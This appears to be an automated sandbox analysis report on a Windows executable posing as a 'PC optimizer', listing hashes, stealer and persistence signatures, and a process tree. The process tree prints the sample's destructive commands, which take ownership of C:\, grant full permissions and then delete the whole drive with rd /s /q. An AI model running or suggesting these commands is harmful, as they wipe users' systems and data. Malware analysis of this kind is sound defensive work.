Overview

overview

8

Static

static

5

d30896edbe...7N.exe

windows7-x64

8

d30896edbe...7N.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    120s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    01-12-2024 15:40

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General

  • Target

    d30896edbec33b0a143e60e5588d7304998614b8a4400cc9a5d37e5b75210a97N.exe

  • Size

    97KB

  • MD5

    35d32ac777d694188d6bd2a89e541250

  • SHA1

    6ee4cebbfc71483cd19e6dd01eceaa583cf976a1

  • SHA256

    d30896edbec33b0a143e60e5588d7304998614b8a4400cc9a5d37e5b75210a97

  • SHA512

    4e2ac2282653247db5ab6983292b7fb529a86286ca868cef6b2ceb70450ec870a266eb8c21467a4eb04035fd0fc71ce5ffb36d2d0986233bdb1e6c2471ae5702

  • SSDEEP

    3072:MwavFbFSymUJlum6XhJTeiWswHQVcScs7e3/0o:MnvFbFfV7udxteiWpQVcEe3M

Score
8/10
discoveryexploitpersistencespywarestealerupx

Malware Config

Signatures

  • Drops file in Drivers directory 64 IoCs
  • Manipulates Digital Signatures 2 IoCs

    Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.

  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Boot or Logon Autostart Execution: Print Processors 1 TTPs 1 IoCs

    Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.

    persistence
  • Deletes itself 1 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 51 IoCs
  • Drops autorun.inf file 1 TTPs 1 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Drops file in System32 directory 64 IoCs
  • Modifies termsrv.dll 1 TTPs 1 IoCs

    Commonly used to allow simultaneous RDP sessions.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d30896edbec33b0a143e60e5588d7304998614b8a4400cc9a5d37e5b75210a97N.exe
    "C:\Users\Admin\AppData\Local\Temp\d30896edbec33b0a143e60e5588d7304998614b8a4400cc9a5d37e5b75210a97N.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3036
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c chcp 65001 && cls && title PC FUCKER OPTIMIZER && color 0B && mode 145,30
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:3060
        • C:\Windows\system32\mode.com
          mode 145,30
          3⤵
            PID:2652
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /B takeown /f C:\ /r /d y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\system32\takeown.exe
            takeown /f C:\ /r /d y
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:2756
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /B icacls C:\ /grant administrators:F /t
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2768
          • C:\Windows\system32\icacls.exe
            icacls C:\ /grant administrators:F /t
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2796
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /B cmd /c rd /s /q C:\
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2836
          • C:\Windows\system32\cmd.exe
            cmd /c rd /s /q C:\
            3⤵
            • Drops file in Drivers directory
            • Manipulates Digital Signatures
            • Boot or Logon Autostart Execution: Print Processors
            • Deletes itself
            • Drops desktop.ini file(s)
            • Drops autorun.inf file
            • Drops file in System32 directory
            • Modifies termsrv.dll
            • Drops file in Program Files directory
            • Drops file in Windows directory
            PID:2760

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/3036-0-0x000000013FDF0000-0x000000013FE4A000-memory.dmp

        Filesize

        360KB

        Download

      • memory/3036-2-0x000000013FDF0000-0x000000013FE4A000-memory.dmp

        Filesize

        360KB

        Download